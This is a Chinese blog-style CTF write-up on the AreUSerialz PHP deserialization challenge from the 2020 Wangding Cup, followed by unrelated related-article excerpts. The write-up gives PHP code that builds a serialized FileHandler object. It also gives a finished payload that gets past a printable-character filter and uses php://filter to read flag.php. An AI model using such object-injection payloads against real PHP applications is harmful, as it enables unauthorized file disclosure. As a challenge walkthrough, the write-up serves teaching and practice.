当前位置: 首页 > news >正文

web:[网鼎杯 2020 青龙组]AreUSerialz

题目

点进题目发现

需要进行代码审计

function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}

这里有__destruct()函数,在对象销毁时自动调用,根据$op属性的值进行一些操作,并重置属性的值,后再次调用process()方法,同时该函数会根据op变量值的不同,会相应调用读写函数

即op=="1",进入write方法,op=="2"进入read方法进行处理

总体解题思路为,构造反序列化给str变量,当主函数进行反序列化时,调用了FileHandler类,读取flag.php

if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}

接收到名为str的get参数,参数会被反序列化,并创建一个对象,在反序列化之前,会使用is_valid()函数对字符串进行验证,传入的string要是可见字符串ascii值为32-125

这里要构造op=2,要联想至上面的destruct方法,当op=2时会自动执行魔术方法_destruct,绕过if($this->op==="2")这条强类型判断,2===“2”为假(左边为数字int,右边为字符串string),会执行process方法,2==“2”为真,执行read方法,读取文件

注意成员变量是protected属性,会在变名前加%00*%00,注意is_valid方法,%00的ascii码为0,无法通过检查,需要绕过

绕过方法:

1.php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可

2.php的序列化字符串中只要把其中的s改成大写的S,后面的字符串就可以用十六进制表示

php伪协议进行读取

构造payload

<?phpclass FileHandler
{public $op = 2;public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
//伪协议转化为base64读取,php代码无法直接读取public $content;}
$A=new FileHandler();
$B=serialize($A);
echo $B;
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

直接传参得不到flag

反序列化完的结果看似没有包含0,但实际上有ascii码为0的

这里需要对$B进行两次替换操作

  • 使用 str_replace() 函数将字符串中的空字符(ASCII 值为 0)替换为 \00
  • 使用 str_replace() 函数将字符串中的 "s:" 替换为 "S:"。

构造payload

<?phpclass FileHandler
{protected $op = 2;protected $filename = "php://filter/read=convert.base64-encode/resource=flag.php";protected $content;}
$A=new FileHandler();
$B=serialize($A);
$B = str_replace(chr(0), '\00', $B);
$B = str_replace('s:', 'S:', $B);
echo $B;
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}

传参可得

查看源码

解码可得

参考文章链接:

https://www.cnblogs.com/akger/p/15137082.html

第二届网鼎杯(青龙组)部分wp-安全客 - 安全资讯平台

相关文章:

web:[网鼎杯 2020 青龙组]AreUSerialz

题目 点进题目发现 需要进行代码审计 function __destruct() {if($this->op "2")$this->op "1";$this->content "";$this->process();}这里有__destruct()函数&#xff0c;在对象销毁时自动调用&#xff0c;根据$op属性的值进行…...

【Python机器学习】零基础掌握PolynomialCountSketch内核近似特征

面临挑战的机器学习模型:如何提高准确性? 在实际应用中,机器学习模型常常面临一个问题:如何在保持模型复杂性不变的情况下,提高模型的准确性?特别是在处理高维数据集时,这个问题尤为突出。这里,有一种名为“核方法”的技术可以解决这个问题,但通常会增加计算成本。那…...

【Linux】深入理解系统文件操作(1w字超详解)

1.系统下的文件操作&#xff1a; ❓是不是只有C\C有文件操作呢&#xff1f;&#x1f4a1;Python、Java、PHP、go也有&#xff0c;他们的文件操作的方法是不一样的啊 1.1对于文件操作的思考&#xff1a; 我们之前就说过了&#xff1a;文件内容属性 针对文件的操作就变成了对…...

echarts柱状图和折线图双图表配置项

{tooltip: {trigger: axis,axisPointer: { // 坐标轴指示器&#xff0c;坐标轴触发有效type: cross // 默认为直线&#xff0c;可选为&#xff1a;line | shadow}},legend: {data: [新增客户数, 新增客户两年内回款情况],type: scroll,selectedMode: false // 控制是否可以通过…...

【LVS实战】02 搭建一个LVS-NAT实验

一、网络结构 用虚拟机搭建如下的几台机器&#xff0c;并配置如下的ip 关于虚拟机网卡和网络的配置&#xff0c;可以参考 iptables章节&#xff0c;05节&#xff1a;网络转发实验 主机A模拟外网的机器 B为负载均衡的机器 C和D为 RealServer 二、C和D主机的网关设置 C和D机…...

2023.10.26-SQL测试题

employee表&#xff1a; department表&#xff1a; job表&#xff1a; location表&#xff1a; 题目及答案&#xff1a; -- (1).查询工资大于一万的员工的姓名(first_name与last_name用“.”进行连接)和工资-- select CONCAT(first_name,.,last_name) as 姓名 ,salary -…...

JVM虚拟机:从结构到指令让你对栈有足够的认识

本文重点 在前面的课程中,我们学习了运行时数据区的大概情况,从本文开始,我们将对一些组件进行详细的介绍,本文我们将学习栈。栈内存主管java的运行,是在线程创建时创建的,它是线程私有的,它的生命周期是跟随线程的生命期,也就是说线程结束栈内存就释放了,对于栈来说…...

【启发式算法】白鲸优化算法【附python实现代码】

写在前面&#xff1a; 首先感谢兄弟们的订阅&#xff0c;让我有创作的动力&#xff0c;在创作过程我会尽最大能力&#xff0c;保证作品的质量&#xff0c;如果有问题&#xff0c;可以私信我&#xff0c;让我们携手共进&#xff0c;共创辉煌。 路虽远&#xff0c;行则将至&#…...

【Python机器学习】零基础掌握RBFSampler内核近似特征

有没有想过如何在复杂的数据集上快速进行分类? 在现实生活中,大量的数据集通常非常复杂,并不总是线性可分的。例如,在医疗领域,诊断患者是否患有某种疾病通常涉及多个变量和复杂的模式。简单的线性模型可能无法有效地处理这种复杂性。 一种可能的解决方案是使用更复杂的…...

高级工技能等级认定---网络设备安全

目录 一、DHCP 安全配置 二、SSH配置 三、标准ACL的配置 四、配置交换机端口安全 五、三层交换和ACL的配置 一、DHCP 安全配置 配置要求&#xff1a; 1.给交换机配置enable密码. 2.在交换机上创建VLAN 100&#xff0c;将F0/1-3口改为Access口&#xff0c;并加入到VLAN …...

spting Boot常见知识点

31.介绍一下 SpringBoot&#xff0c;有哪些优点&#xff1f; 1、Spring Boot 基于 Spring 开发&#xff0c;Spirng Boot 本身并不提供 Spring 框架的核心特性以及扩展功能&#xff0c;只是用于快速、敏捷地开发新一代基于 Spring 框架的应用程序。它并不是用来替代 Spring 的解…...

大模型在数据分析场景下的能力评测

“你们能对接国产大模型吗&#xff1f;” “开源的 LLaMA 能用吗&#xff0c;中文支持怎么样&#xff1f;” “私有化部署和在线服务哪个更合适&#xff1f;” 自 7 月 14 日发布 AI 数智助理 Kyligence Copilot 后&#xff0c;我们收到了很多类似上面的咨询&#xff0c;尤其…...

[笔记] 关于y1变量取名冲突的问题

参考博客 遇到的问题和这位老哥的一模一样。 结论是&#xff1a;当我们用math头文件的时候&#xff0c;不能在全局定义 y0 和 y1&#xff0c;j0、j1、jn、yn。...

js笔记(函数参数、面向对象、装饰器、高级函数、捕获异常)

JavaScript 笔记 函数参数 默认参数 在 JavaScript 中&#xff0c;我们可以为函数的参数设置默认值。如果调用函数时没有传递参数&#xff0c;那么参数将使用默认值。 function greet(name World) {console.log(Hello, ${name}!); }greet(); // 输出&#xff1a;Hello, Wo…...

Istio实战(八)- Istio 动态准入 Webhook 配置

准入 Webhook 是 HTTP 方式的回调&#xff0c;接收准入请求并对其进行相关操作。 可定义两种类型的准入 Webhook&#xff0c;Validating 准入 Webhook 和 Mutating 准入 Webhook。使用 Validating Webhook&#xff0c;可以通过自定义的准入策略来拒绝请求&#xff1b; 使用 Mut…...

Vue的安装

----------------------------------------------------前置---------------------------------------------------- 1.node.js的下载安装、缓存路径的设置 ①安装 ②设置npm prefix, cache 2.NODE_PATH、PATH ①系统变量中加 ②PATH中加 3.配置镜像源 -----------------------…...

macOS M1安装wxPython报错

macOS12.6.6 M1安装wxPython失败&#xff1a; 报错如下&#xff1a; imagtiff.cpp:37:14: fatal error: tiff.h file not found解决办法&#xff1a; 下载源文件重新编译&#xff08;很快&#xff0c;5分钟全部搞定&#xff09;&#xff0c;分三步走&#xff1a; 第一步&…...

【数据结构】交换排序

⭐ 作者&#xff1a;小胡_不糊涂 &#x1f331; 作者主页&#xff1a;小胡_不糊涂的个人主页 &#x1f4c0; 收录专栏&#xff1a;浅谈数据结构 &#x1f496; 持续更文&#xff0c;关注博主少走弯路&#xff0c;谢谢大家支持 &#x1f496; 冒泡、快速排序 1. 冒泡排序2. 快速…...

腾讯云2023年双11服务器优惠活动及价格表

腾讯云2023年双11大促活动正在火热进行中&#xff0c;腾讯云推出了一系列服务器优惠活动&#xff0c;云服务器首年1.8折起&#xff0c;买1年送3个月&#xff01;境外云服务器15元/月起&#xff0c;买更多省更多&#xff01;下面给大家分享腾讯云双11服务器优惠活动及价格表&…...

PointNet++复现、论文和代码研读

文章目录 复现1.创建虚拟环境并进入2.安装pytorch3.分割模型的训练和测试3.1.下载数据处理数据3.2.训练分割模型3.3分割模型的测试 4.分类模型的训练和测试 论文研读制作自己的数据集流程分割模型数据集准备 复现 https://github.com/yanx27/Pointnet_Pointnet2_pytorch 1.创…...

FreeMoCap终极指南:如何用普通摄像头实现专业级3D动作捕捉

FreeMoCap终极指南&#xff1a;如何用普通摄像头实现专业级3D动作捕捉 【免费下载链接】freemocap Free Motion Capture for Everyone &#x1f480;✨ 项目地址: https://gitcode.com/GitHub_Trending/fr/freemocap 还在为专业动作捕捉设备的高昂价格而烦恼吗&#xff…...

手把手教你用Whistle给SSE/流式接口做Mock:从复制URL到完整响应的保姆级配置

从零构建SSE接口Mock环境&#xff1a;Whistle流式数据模拟实战指南 当你在开发一个实时聊天应用或AI对话界面时&#xff0c;Server-Sent Events (SSE)技术能提供持续的数据流&#xff0c;但测试环境的搭建往往令人头疼。想象一下&#xff0c;你的前端代码需要处理/api/chat这样…...

东北老牌央国企陪跑机构哪家实力强

在东北地区&#xff0c;众多求职者&#xff0c;特别是应届毕业生&#xff0c;将目光投向了工作稳定、发展前景广阔的央国企。在这一背景下&#xff0c;专业的求职服务机构应运而生&#xff0c;为求职者提供系统化的支持。辽宁优泰教育咨询有限公司便是其中一家专注于该领域的服…...

PdgCntEditor三步搞定PDF书签目录自动生成

1. 为什么你需要PDF书签目录&#xff1f; 每次打开几百页的PDF文档&#xff0c;像无头苍蝇一样滑动滚动条找内容&#xff1f;这种体验我太懂了。上周处理一份300多页的技术手册&#xff0c;光是翻目录就花了半小时&#xff0c;直到我发现PdgCntEditor这个神器。它能把杂乱无章…...

Oracle数据库架构入门概述

本文分为四个部分简单概述 一、入门概述 二、数据库实例简述 三、数据库物理存储和逻辑存储结构简述 四、网络体系结构概述 入门概述 Oracle 数据库服务器包括一个数据库和至少一个数据库实例 &#xff08;通常是指只有一个实例&#xff09;。 因为实例和数据库关联紧密&#x…...

Halcon HImage转Bitmap性能大比拼:实测unsafe方案比安全方案快30倍的背后原因

Halcon HImage转Bitmap性能优化实战&#xff1a;从30倍差距到工业级解决方案 在工业视觉检测和实时图像处理领域&#xff0c;毫秒级的性能差异可能意味着生产线能否稳定运行。最近在为一个汽车零部件检测系统做性能优化时&#xff0c;我意外发现Halcon的HImage转Bitmap操作竟成…...

Linux内核数据结构与算法深度解析

Linux内核中常用的数据结构和算法分析 1. 链表数据结构实现与应用 1.1 链表基础结构 链表是Linux内核中使用最广泛的数据结构之一&#xff0c;它解决了数组不能动态扩展的缺陷。链表元素可以动态创建、插入和删除&#xff0c;且不需要占用连续内存空间。每个链表节点由两部分…...

【硬核】让所有AI Agent自动进化!港大开源OpenSpace,一个命令让你的Claude Code/Cursor/OpenClaw秒变超级智能体

最近刷 GitHub&#xff0c;发现了一个让我眼前一亮的项目——OpenSpace。 它解决了一个超级痛点&#xff1a;现在的 AI Agent&#xff08;比如 Claude Code、OpenClaw、Cursor&#xff09;都很强大&#xff0c;但它们从不学习、永不进化——每次任务都是从头开始&#xff0c;浪…...

降重不靠删,降AI不靠装——百考通用语义重构守住你的原创观点

在2026年的高校毕业季&#xff0c;一种新型的不公正在悄然制度化&#xff1a; 不是抄袭者被放过&#xff0c;而是原创者被怀疑&#xff1b; 不是敷衍者被批评&#xff0c;而是严谨者被标记&#xff1b; 不是懒惰者被警告&#xff0c;而是认真写了一篇好论文的人&#xff0c;被迫…...

Python异步I/O终极调优手册(含strace+py-spy+asyncio debug mode三重追踪链路图)

第一章&#xff1a;Python异步I/O性能瓶颈的本质洞察Python的async/await语法虽大幅简化了异步编程模型&#xff0c;但其底层性能瓶颈并非源于语法糖本身&#xff0c;而根植于事件循环调度机制、GIL对CPU密集型任务的制约&#xff0c;以及I/O等待与协程切换之间的隐式开销。事件…...